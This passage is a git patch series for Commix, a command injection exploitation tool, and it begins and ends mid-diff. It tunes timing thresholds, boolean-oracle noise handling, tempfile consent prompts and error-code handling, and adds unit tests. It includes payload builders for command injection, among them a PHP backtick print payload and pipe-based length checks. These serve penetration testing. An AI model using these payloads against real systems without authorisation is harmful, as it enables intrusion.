substitution that cannot hold another one holds that perfectly + # well. Where the count is taken of a command's own output instead, it does nest, and the + # branches that ask for it that way are written only where the substitution in use allows it. pipe = "|" payload = (pipe + "[ " + str(output_length) + " -ne " + _length_expr(TAG) + " ]" + "||" + diff --git a/src/utils/settings.py b/src/utils/settings.py index 77352fb7c7..384ac1106c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "286" +REVISION = "287" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index e65881df01..958adea4c1 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -137,5 +137,73 @@ def test_a_sink_gate_reads_the_heuristic_as_well_as_the_switch(self): finally: menu.options.eval_sink, settings.EVAL_BASED_STATE = eval_sink, eval_state +class BooleanOracleNoise(unittest.TestCase): + """ + What the page moves on its own, weighed against what the question answered. + """ + def setUp(self): + self.markings = settings.DYNAMIC_MARKINGS + settings.DYNAMIC_MARKINGS = [] + + def tearDown(self): + settings.DYNAMIC_MARKINGS = self.markings + + # The same page, twice, with only the command's own timing moving between them. + def page(self, timing): + return ("<html><body><p>the command was asked and answered here</p>" + "<b>rtt min/avg/max/mdev = " + timing + " ms</b>" + "<p>and the rest of this page stands perfectly still</p></body></html>") + + def test_a_difference_that_moves_on_its_own_is_not_an_answer(self): + """ + Two answers that are meant to differ, differing only where two answers that are meant to match + already did. Taken for an answer, a boundary is confirmed on the strength of a timing. + """ + true_page, false_page = self.page("0.015/0.048/0.073/0.022"), self.page("0.042/0.058/0.065/0.009") + # Nothing learned about the page yet, so the timing reads as the two answers differing. + self.assertTrue(checks.calibrate_boolean_oracle(true_page, false_page)) + # The same question asked twice is what says which part of it was never an answer. + checks.find_dynamic_content(true_page, self.page("0.031/0.052/0.061/0.011")) + self.assertTrue(settings.DYNAMIC_MARKINGS) + self.assertFalse(checks.calibrate_boolean_oracle(true_page, false_page)) + +class DelayThreshold(unittest.TestCase): + """ + How late an answer has to be before it counts as a delay that was asked for. + """ + def setUp(self): + self.disable_stats = menu.options.disable_stats + menu.options.disable_stats = False + settings.PROBE_RESPONSE_TIMES[:] = [] + + def tearDown(self): + menu.options.disable_stats = self.disable_stats + settings.RESPONSE_TIMES[:] = [] + settings.PROBE_RESPONSE_TIMES[:] = [] + + # A steady target around the given pace, varying by a hundredth of a second either way. + def steady_at(self, mean): + settings.RESPONSE_TIMES[:] = [mean + (0.01 if index % 2 else -0.01) for index in range(8)] + + def test_a_delay_that_fires_is_seen_however_slow_the_target_is(self): + for mean in (3.0, 6.0, 11.0, 20.0, 40.0): + self.steady_at(mean) + timesec = 5 + self.assertTrue(checks.time_related_shell(mean + timesec, timesec), + "a delay of " + str(timesec) + "s was missed on a target answering in " + str(mean) + "s") + + def test_an_ordinary_answer_is_not_read_as_a_delay(self): + for mean in (3.0, 6.0, 11.0, 20.0, 40.0): + self.steady_at(mean) + self.assertFalse(checks.time_related_shell(mean, 5), + "a plain answer of " + str(mean) + "s was read as delayed") + + def test_the_margin_is_not_raised_past_the_delay_being_asked_for(self): + self.steady_at(20.0) + # Half of the delay asked for, where half the target's own pace would stand well above it. + self.assertAlmostEqual(22.5, checks.current_delay_threshold(5), places=2) + # Nothing to measure it against leaves the margin read off the target alone. + self.assertAlmostEqual(30.0, checks.current_delay_threshold(), places=2) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_parameters.py b/tests/test_parameters.py index d30d567849..7074fc743e 100644 --- a/tests/test_parameters.py +++ b/tests/test_parameters.py @@ -100,5 +100,32 @@ def test_a_single_pair_stays_one(self): split, _ = parameters.split_post_parameters("a=1") self.assertEqual(["a=1"], split) +class TestableValue(unittest.TestCase): + """ + Whether the parameter's own value is handed to the target, or a placeholder put in its place. + """ + def setUp(self): + from src.core.controller import controller + self.controller = controller + self.testable_value = settings.TESTABLE_VALUE + self.load_session = settings.LOAD_SESSION + settings.TESTABLE_VALUE = "127.0.0.1" + settings.LOAD_SESSION = False + + def tearDown(self): + settings.TESTABLE_VALUE = self.testable_value + settings.LOAD_SESSION = self.load_session + + def test_the_real_value_is_what_the_target_is_asked_with(self): + """ + The command before the payload is given this value, so a placeholder the target was not + answering on makes that command fail - and a separator that chains on it having succeeded then + never fires, whatever the target would have carried. + """ + url = "http://127.0.0.1/x.php?addr=127.0.0.1" + settings.INJECT_TAG + self.assertEqual(url, self.controller.attempt_skip_testable_value(url, "GET", "addr")) + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_payloads.py b/tests/test_payloads.py index aca9356f48..56b92f268f 100644 --- a/tests/test_payloads.py +++ b/tests/test_payloads.py @@ -130,6 +130,28 @@ def test_no_builder_carries_a_separator_it_is_not_proving(self): ",".join(repr(_) for _ in added) + " under " + repr(separator)) self.assertEqual([], offenders) + def test_every_separator_is_still_asked_through_a_substitution_that_does_not_nest(self): + """ + A separator the target carries is one the run has to be able to find the injection through, so + an empty payload here is that separator going untested and the finding being missed outright. + The pipe writes the marker out literally and counts it in a single substitution, which holds no + second one - so backticks express it just as well as '$( )' does. + """ + from src.core.techniques.time_based import tb_payloads + for substitution in (settings.NESTING_SUBSTITUTION, + (settings.BACKTICK_SUBSTITUTION, settings.BACKTICK_SUBSTITUTION)): + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = substitution + try: + for separator in (";", "&", "|", "&&", "||", settings.END_LINE.LF): + payload = tb_payloads.decision(separator, "MARKER", 6, 5, "GET") + self.assertTrue(payload, "under " + repr(settings.CMD_SUB_PREFIX) + + " the separator " + repr(separator) + " is asked nothing at all") + # The count the pipe takes is written in whichever substitution the run is using. + if separator in ("|", "||"): + self.assertIn(settings.CMD_SUB_PREFIX + "printf", payload) + finally: + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = settings.NESTING_SUBSTITUTION + def test_the_unresolved_list_names_builders_that_exist(self): known = set((module_name, name) for module_name, name, _, _ in builders()) self.assertEqual(set(), UNRESOLVED - known) From 79708fbab5a8b8bbb2df7b0d179a7b999ce400a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 4 Nov 2026 06:20:47 +0200 Subject: [PATCH 0961/1023] Fixed several issues regarding findings missed or made on the wrong evidence, affecting the parameter's own value, the timing thresholds, the pipe separator and the boolean oracle --- src/core/controller/checks.py | 32 ++++++++++++++- src/core/controller/controller.py | 16 +++++++- src/utils/settings.py | 10 ++++- tests/test_checks.py | 66 +++++++++++++++++++++++++++++++ tests/test_parameters.py | 19 +++++++++ 5 files changed, 138 insertions(+), 5 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 3c0e939558..19174c23ee 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -194,6 +194,11 @@ def injection_techniques_status(): _INFERRED_TECHNIQUES = ( settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, settings.INJECTION_TECHNIQUE.TIME_BASED, + # The tag it writes is read back by a command of its own and weighed as a page, never fetched: + # the file is written where the file-based technique could not reach the web root, so there is no + # URL to ask for it through. What proves it is a difference between two pages, same as the two + # above, and a page that moves on its own can produce one without the command having run. + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED, ) """ @@ -3217,7 +3222,18 @@ def check_lagging(): # says more about the pair than about the connection, so the verdict waits for a model to read. if not settings.LAGGING_CHECKED and len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES // 2: settings.LAGGING_CHECKED = True - if statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: + deviation = statistics.pstdev(settings.RESPONSE_TIMES) + pace = statistics.mean(settings.RESPONSE_TIMES) + """ + Read against the target's own pace as well as in seconds of its own. + + Half a second of movement is the whole answer on a page that comes back at once, and ordinary + jitter on one that runs a command before answering - a sink that pings for three seconds clears + a fixed half-second bar on nothing more than being itself. Called laggy on that alone, the run + raises the delay it asks for and every probe after it pays the longer wait, which is hours of + waiting bought against a target that was steady all along. + """ + if deviation > settings.WARN_TIME_STDEV and deviation > pace * settings.WARN_TIME_RELATIVE_STDEV: settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True warn_msg = "Detected considerable lagging in the connection response(s). " warn_msg += "Consider using a higher '--time-sec' value (e.g. '10' or more)." @@ -7137,6 +7153,15 @@ def progress_display_text(chars, furthest, total): Check if to use the "/tmp/" directory for tempfile-based technique. """ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + """ + Asked once for the run, not once per web root that failed. + + Another directory to try is what brings this round again, and the question it asks is about the + temporary directory rather than about the one just tried - so the answer already given covers it, + and asking a second time reads as a second obstacle where there is one. + """ + if settings.TEMP_FOLDER_CHOICE is False: + return False tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) while True: # Named individually only at '-v' above 0 - at default verbosity, every path already tried @@ -7147,8 +7172,10 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ where = "any " + settings.WEB_ROOT_CATEGORY_LABEL + " directory" message = "Unable to write to " + where + ". " message += "Do you want to use '" + tmp_path + "' instead? [Y/n] " - tmp_upload = common.read_input(message, default="Y", check_batch=True) + tmp_upload = settings.CHOICE_YES[0] if settings.TEMP_FOLDER_CHOICE else \ + common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: + settings.TEMP_FOLDER_CHOICE = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb is not False: @@ -7159,6 +7186,7 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ else: return True elif tmp_upload in settings.CHOICE_NO: + settings.TEMP_FOLDER_CHOICE = False break elif tmp_upload in settings.CHOICE_QUIT: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index d2ff398b11..70867a51dc 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1206,10 +1206,21 @@ def _accepts_whitespace_retry(): # that one is filtered too, so naming the first reads as a promise that it is the only # one - each says which it loaded as it loads it, which is where that belongs. message = "Do you want " + settings.APPLICATION + " to try again in case plain whitespace is being filtered " - message += "(e.g. by using whitespace tamper script(s))? [Y/n] " + message += "(e.g. by using whitespace tamper scripts)? [Y/n] " settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO return settings.WHITESPACE_RETRY_CHOICE + def _accepts_dashless_retry(): + if settings.DASHLESS_RETRY_CHOICE is None: + # Asked for the same reason the whitespace one above is: what was established is that + # nothing was confirmed, and that the target filters a dash is the guess that makes + # another pass worth paying for - so it belongs in the question rather than stated as + # something already found. + message = "Do you want " + settings.APPLICATION + " to try again in case a dash ('-') is being filtered " + message += "(e.g. by using a tamper script that writes its tests without one)? [Y/n] " + settings.DASHLESS_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.DASHLESS_RETRY_CHOICE + # A filter that rejects any literal whitespace blocks the heuristic test the same as every # technique, so gating this on a positive heuristic would never fire for the one case it # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from @@ -1238,7 +1249,8 @@ def _accepts_whitespace_retry(): # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one # case left where retrying on a tamper already built for something else solves it outright. if not end_detection and checks.injection_techniques_status() is False and \ - _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD: + _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_dashless_retry(): settings.AUTO_TAMPER.append("dashlesstest") # Announced the way '--tamper' announces its own, rather than in a sentence of its own: # what is loaded is the same thing either way, and worth reading as the same line. diff --git a/src/utils/settings.py b/src/utils/settings.py index 384ac1106c..30ae35aea6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "287" +REVISION = "288" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -880,6 +880,10 @@ class OS(object): about the target's own filter rather than about any one technique that just came back empty. """ WHITESPACE_RETRY_CHOICE = None +# Whether the temporary directory was already accepted or refused for this run. +TEMP_FOLDER_CHOICE = None +# The same consent, asked about a filter built around '-' rather than around whitespace. +DASHLESS_RETRY_CHOICE = None # The HTTP header name. HTTP_HEADER = "" @@ -2272,6 +2276,10 @@ class END_LINE: # Minimum delay-threshold margin above the mean, as a fraction of the mean. MIN_RELATIVE_DELAY_MARGIN = 0.5 WARN_TIME_STDEV = 0.5 +# The same spread, read against the target's own pace. Half a second of movement is a lot on a page +# that answers at once and nothing at all on one that runs a command first, so a target is called +# laggy only where its answers also move by this much of what they take. +WARN_TIME_RELATIVE_STDEV = 0.25 # One escalate/shrink step, in seconds - separate from the floor above. TIME_DELAY_STEP = 1 diff --git a/tests/test_checks.py b/tests/test_checks.py index 958adea4c1..7e12e34fd5 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -154,6 +154,20 @@ def page(self, timing): "<b>rtt min/avg/max/mdev = " + timing + " ms</b>" "<p>and the rest of this page stands perfectly still</p></body></html>") + def test_two_answers_that_read_alike_are_not_an_answer(self): + # Nothing told them apart, so there is no question this boundary answered. + page = self.page("0.015/0.048/0.073/0.022") + self.assertFalse(checks.calibrate_boolean_oracle(page, page)) + + def test_a_shell_error_quoting_this_runs_own_digits_is_not_an_answer(self): + """ + A filter that corrupts the payload before a shell sees it leaves the marker's own length sitting + in the error the shell quotes it back in, which tells two pages apart without either command + having run. + """ + error = "sh: 1: AAAAAA%s: not found" + self.assertFalse(checks.calibrate_boolean_oracle(error % "123456", error % "1234567")) + def test_a_difference_that_moves_on_its_own_is_not_an_answer(self): """ Two answers that are meant to differ, differing only where two answers that are meant to match @@ -167,6 +181,58 @@ def test_a_difference_that_moves_on_its_own_is_not_an_answer(self): self.assertTrue(settings.DYNAMIC_MARKINGS) self.assertFalse(checks.calibrate_boolean_oracle(true_page, false_page)) +class ReAskedTechniques(unittest.TestCase): + """ + Which findings are asked their question a second time before the parameter is reported. + """ + def test_a_finding_weighed_as_a_page_is_re_asked(self): + """ + The tempfile-based technique reads its tag back with a command of its own and weighs the answer + as a page - the file is written where the web root could not be reached, so there is no URL to + fetch it through. That is the same kind of evidence the other two rest on, and a page that moves + on its own produces it without the command having run, so it is not exempt from the re-ask. + """ + for technique in (settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + self.assertIn(technique, checks._INFERRED_TECHNIQUES) + + def test_a_finding_that_came_back_on_its_own_is_not(self): + # A tag fetched out of the web root, or a hostname only this run knows being resolved, is not + # something a target produces without having run the command. + for technique in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, + settings.INJECTION_TECHNIQUE.FILE_BASED, + settings.INJECTION_TECHNIQUE.OOB): + self.assertNotIn(technique, checks._INFERRED_TECHNIQUES) + +class Lagging(unittest.TestCase): + """ + When a target's answers are called unsteady enough to raise the delay asked of it. + """ + def tearDown(self): + settings.RESPONSE_TIMES[:] = [] + settings.LAGGING_CHECKED = settings.LAGGING_DETECTED = False + settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = False + + def verdict(self, pace, spread): + settings.RESPONSE_TIMES[:] = [pace - spread, pace + spread] * 8 + settings.LAGGING_CHECKED = settings.LAGGING_DETECTED = False + return checks.check_lagging() + + def test_a_slow_target_that_keeps_its_pace_is_not_lagging(self): + """ + A sink that runs a command before answering moves by half a second on nothing more than being + itself. Called laggy for it, the run raises the delay and every probe after pays the wait. + """ + self.assertFalse(self.verdict(3.1, 0.5)) + self.assertFalse(self.verdict(10.0, 1.5)) + + def test_answers_that_move_against_their_own_pace_still_are(self): + # Read in seconds of its own as well, so a page answering at once is not called steady for + # moving by less than a slow one does. + self.assertTrue(self.verdict(3.1, 1.2)) + self.assertTrue(self.verdict(0.1, 0.6)) + class DelayThreshold(unittest.TestCase): """ How late an answer has to be before it counts as a delay that was asked for. diff --git a/tests/test_parameters.py b/tests/test_parameters.py index 7074fc743e..f5872278bb 100644 --- a/tests/test_parameters.py +++ b/tests/test_parameters.py @@ -127,5 +127,24 @@ def test_the_real_value_is_what_the_target_is_asked_with(self): self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE) self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + def test_a_placeholder_an_earlier_run_confirmed_is_taken_up_again(self): + """ + The one exchange still made: a resumed run is handed what the run that stored it had already + asked the payload's own question through, so it is taken as it stands rather than measured for + again. Without this the stored answer is read and nothing is done with it. + """ + stored = self.controller.session_handler.check_stored_testable_value + try: + self.controller.session_handler.check_stored_testable_value = lambda *_: "ABC" + settings.LOAD_SESSION = True + url = "http://127.0.0.1/x.php?addr=127.0.0.1" + settings.INJECT_TAG + rewritten = self.controller.attempt_skip_testable_value(url, "GET", "addr") + self.assertEqual("http://127.0.0.1/x.php?addr=ABC" + settings.INJECT_TAG, rewritten) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + finally: + self.controller.session_handler.check_stored_testable_value = stored + settings.TESTABLE_VALUE_OPTIMIZED = False + if __name__ == "__main__": unittest.main() From 08fc5deed6be6833347224b61096d233c6b0eada Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 4 Nov 2026 06:22:09 +0200 Subject: [PATCH 0962/1023] Fixed an issue regarding time-based findings missed behind a filter that answers at once, affecting the probe response model --- src/core/controller/checks.py | 14 ++++++++++++++ src/utils/settings.py | 5 ++++- tests/test_checks.py | 32 ++++++++++++++++++++++++++++++++ 3 files changed, 50 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 19174c23ee..cffbe66950 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3152,6 +3152,20 @@ def strip_time_outliers(values): Feed a genuinely non-delayed response time into the rolling baseline model. """ def record_probe_response_time(exec_time): + """ + Only where the request it timed actually reached the sink. + + A probe is a plain request with the payload's own work added on top, so it cannot come back + faster than a plain one does. One that does was answered by something in front of the sink - a + filter rejecting the payload outright returns at once, having run no command at all - and it says + what that refusal costs, not what a probe costs. Taken into the model, those pull the mean toward + nothing and the threshold down onto its floor, so an ordinary answer reads as a delay: the delay + asked for is raised against a target that was answering normally, and every probe after it pays + the longer wait for nothing. + """ + plain = strip_time_outliers(settings.RESPONSE_TIMES) + if len(plain) >= 2 and exec_time < statistics.mean(plain) * settings.MIN_PROBE_RELATIVE_COST: + return settings.PROBE_RESPONSE_TIMES.append(exec_time) if len(settings.PROBE_RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES: settings.PROBE_RESPONSE_TIMES[:] = settings.PROBE_RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] diff --git a/src/utils/settings.py b/src/utils/settings.py index 30ae35aea6..98e65e1c25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "288" +REVISION = "289" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2292,6 +2292,9 @@ class END_LINE: # the plain requests the model is warmed up with: those two cost different amounts. PROBE_RESPONSE_TIMES = [] MIN_PROBE_RESPONSES = 5 +# How much of a plain request's cost a probe has to carry before its timing is believed to be one. +# Below this the payload never reached the sink, so the answer timed is something else's. +MIN_PROBE_RELATIVE_COST = 0.5 # Samples needed before spikes are worth stripping from a response-time model. Tied to the smaller # of the two models rather than the larger: the probe model is read from five samples up, and left diff --git a/tests/test_checks.py b/tests/test_checks.py index 7e12e34fd5..8165425131 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -233,6 +233,38 @@ def test_answers_that_move_against_their_own_pace_still_are(self): self.assertTrue(self.verdict(3.1, 1.2)) self.assertTrue(self.verdict(0.1, 0.6)) +class ProbeModel(unittest.TestCase): + """ + Which timings are believed to be what a probe costs. + """ + def setUp(self): + self.disable_stats = menu.options.disable_stats + menu.options.disable_stats = False + # A sink that runs a command before answering, behind a filter that rejects the payload at once. + settings.RESPONSE_TIMES[:] = [3.10, 3.12, 3.11, 3.13, 3.10, 3.12, 3.11, 3.12] + settings.PROBE_RESPONSE_TIMES[:] = [] + + def tearDown(self): + menu.options.disable_stats = self.disable_stats + settings.RESPONSE_TIMES[:] = [] + settings.PROBE_RESPONSE_TIMES[:] = [] + + def test_an_answer_the_payload_never_reached_the_sink_for_is_not_a_probe(self): + """ + A model built on what a refusal costs reads an ordinary answer as a delay, which raises the + delay asked for and makes every probe after it wait longer for nothing. + """ + for _ in range(13): + checks.record_probe_response_time(0.01) + self.assertEqual([], settings.PROBE_RESPONSE_TIMES) + self.assertFalse(checks.time_related_shell(3.13, 10)) + self.assertTrue(checks.time_related_shell(13.1, 10)) + + def test_a_probe_that_did_reach_it_still_counts(self): + for exec_time in (3.15, 3.18, 3.14, 3.16, 3.17): + checks.record_probe_response_time(exec_time) + self.assertEqual(5, len(settings.PROBE_RESPONSE_TIMES)) + class DelayThreshold(unittest.TestCase): """ How late an answer has to be before it counts as a delay that was asked for. From 6af6fafb6d093f0b317ff3fa2d41588c19f6a2be Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:08:38 +0200 Subject: [PATCH 0963/1023] Fixed several issues regarding techniques abandoned while the target was answering, affecting the steadiness check, the PHP evaluation payload's terminator and the codes `--ignore-code` names --- src/core/controller/checks.py | 12 ++++++- src/core/eval/grammars/php.py | 13 +++++-- src/core/requests/requests.py | 15 +++++++- src/utils/settings.py | 2 +- tests/test_checks.py | 17 ++++++++++ tests/test_requests.py | 64 +++++++++++++++++++++++++++++++++++ 6 files changed, 118 insertions(+), 5 deletions(-) create mode 100644 tests/test_requests.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index cffbe66950..9fb48fca8c 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3123,7 +3123,17 @@ def response_times_unsteady(): sample = strip_time_outliers(settings.RESPONSE_TIMES) if not sample or len(sample) < 2: return False - return statistics.pstdev(sample) > settings.SLOW_TARGET_RESPONSE_STDEV + """ + Read against the target's own pace as well as in seconds of its own. + + Half a second of movement is the whole answer on a page that comes back at once, and a sixth of + one on a sink that runs a command first - so a fixed bar in seconds is cleared by a slow target + on nothing but its latency, which is the one reading this question exists to avoid. Both have to + hold: a spread too small to matter is not lagging whatever share of the answer it is. + """ + deviation = statistics.pstdev(sample) + return (deviation > settings.SLOW_TARGET_RESPONSE_STDEV + and deviation > statistics.mean(sample) * settings.WARN_TIME_RELATIVE_STDEV) """ Drop high-latency spikes from a response-time sample via a median/MAD cutoff. diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index d84e073709..eafc54ef4b 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -80,9 +80,18 @@ output and marker separated by newlines, so anything printed without one runs into the next marker. """ def print_statement(separator, commands, chain=None): + """ + Ended only where the boundary it lands in can carry a statement. + + Without a separator the payload goes where one value is read from - inside '{${ }}' it is the + name of a variable - and a terminator there ends a statement that was never started, which the + interpreter refuses outright. The techniques that chain their own commands already ask for it + this way, so a boundary carrying nothing is spelled the same here. + """ + terminator = TERMINATOR if separator else "" if separator == "": - return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + TERMINATOR - return "print(`" + (chain or separator).join(commands) + "`)" + TERMINATOR + return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + terminator + return "print(`" + (chain or separator).join(commands) + "`)" + terminator """ The expressions every payload is built out of, spelled the way this language spells them. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bd8bfc59ba..6605ca373c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -249,7 +249,20 @@ def quick_response_time_sample(url, http_request_method): # Paced before the clock starts, so the delay this run keeps is not measured as the target's. headers.apply_request_policy() start = time.time() - response = headers.send_raw(request, policy=False) + try: + response = headers.send_raw(request, policy=False) + except _urllib.error.HTTPError as err: + """ + An error code the run was told to ignore is still an answer, and it was still timed. + + Every technique above reads such a response as the target speaking; only the model that times + them threw it away. A target answering each request with the same error filled nothing in, and + the run was then stopped for having had no answer at all - on a parameter two techniques had + already been confirmed on. + """ + if not checks.ignored_http_error_code(getattr(err, "code", None)): + raise + response = err response.read(1) response.close() return time.time() - start diff --git a/src/utils/settings.py b/src/utils/settings.py index 98e65e1c25..e6c0e5253d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "289" +REVISION = "290" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index 8165425131..72ccd592b3 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -227,6 +227,23 @@ def test_a_slow_target_that_keeps_its_pace_is_not_lagging(self): self.assertFalse(self.verdict(3.1, 0.5)) self.assertFalse(self.verdict(10.0, 1.5)) + def test_a_slow_steady_target_is_not_offered_up_for_skipping(self): + """ + The same question the time-based and tempfile-based handlers put before offering to skip the + technique: a target that answers at the same speed every time is read as easily as a fast one, + however long that speed is. + """ + settings.RESPONSE_TIMES[:] = [10.0 - 1.5, 10.0 + 1.5] * 8 + self.assertFalse(checks.response_times_unsteady()) + settings.RESPONSE_TIMES[:] = [3.1 - 0.5, 3.1 + 0.5] * 8 + self.assertFalse(checks.response_times_unsteady()) + + def test_answers_that_really_do_move_are_offered_up(self): + settings.RESPONSE_TIMES[:] = [10.0 - 4.0, 10.0 + 4.0] * 8 + self.assertTrue(checks.response_times_unsteady()) + settings.RESPONSE_TIMES[:] = [0.8 - 0.6, 0.8 + 0.6] * 8 + self.assertTrue(checks.response_times_unsteady()) + def test_answers_that_move_against_their_own_pace_still_are(self): # Read in seconds of its own as well, so a page answering at once is not called steady for # moving by less than a slow one does. diff --git a/tests/test_requests.py b/tests/test_requests.py new file mode 100644 index 0000000000..66dfabe39c --- /dev/null +++ b/tests/test_requests.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.requests import requests, headers +from src.thirdparty.six.moves import urllib as _urllib + +class ResponseTimeSample(unittest.TestCase): + """ + Which answers count as one, when the model that times them is being filled. + """ + def setUp(self): + self.ignore_code = list(settings.IGNORE_CODE) + self.send_raw = headers.send_raw + self.apply_request_policy = headers.apply_request_policy + self.do_check = headers.do_check + headers.apply_request_policy = lambda *a, **k: None + headers.do_check = lambda *a, **k: None + + def tearDown(self): + settings.IGNORE_CODE[:] = self.ignore_code + headers.send_raw = self.send_raw + headers.apply_request_policy = self.apply_request_policy + headers.do_check = self.do_check + + # A target answering every request with the same error code, as '--ignore-code' was given for. + def refuse_with(self, code): + def send_raw(request, policy=True): + raise _urllib.error.HTTPError(request.full_url, code, "refused", {}, None) + headers.send_raw = send_raw + + def test_an_ignored_error_code_is_still_a_timed_answer(self): + """ + Every technique reads such a response as the target speaking. Thrown away here, a target that + answers each request the same way fills nothing in, and the run is stopped for having had no + answer at all - on a parameter other techniques may already be confirmed on. + """ + settings.IGNORE_CODE[:] = [500] + self.refuse_with(500) + sample = requests.quick_response_time_sample("http://127.0.0.1/x.php?a=1", "GET") + self.assertIsNotNone(sample) + self.assertGreaterEqual(sample, 0) + + def test_an_error_code_nobody_asked_to_ignore_is_not(self): + settings.IGNORE_CODE[:] = [] + self.refuse_with(500) + self.assertIsNone(requests.quick_response_time_sample("http://127.0.0.1/x.php?a=1", "GET")) + +if __name__ == "__main__": + unittest.main() From a0250bbe5f000ccb7b075b561aec3d02018608ad Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 5 Nov 2026 08:09:33 +0200 Subject: [PATCH 0964/1023] Fixed several issues regarding values and answers read the way the request carries them rather than the way the target does, affecting a parameter's carried encoding, the operating system read off an out-of-band client, and the retrieval a confirmed pipe cannot carry --- src/core/controller/checks.py | 16 +++++++ src/core/controller/controller.py | 27 +++++++++--- src/core/techniques/oob/oob_payloads.py | 11 +++++ src/utils/settings.py | 4 +- tests/test_checks.py | 15 +++++++ tests/test_payloads.py | 56 +++++++++++++++++++++++++ 6 files changed, 123 insertions(+), 6 deletions(-) diff --git a/src/core/controller/checks.py 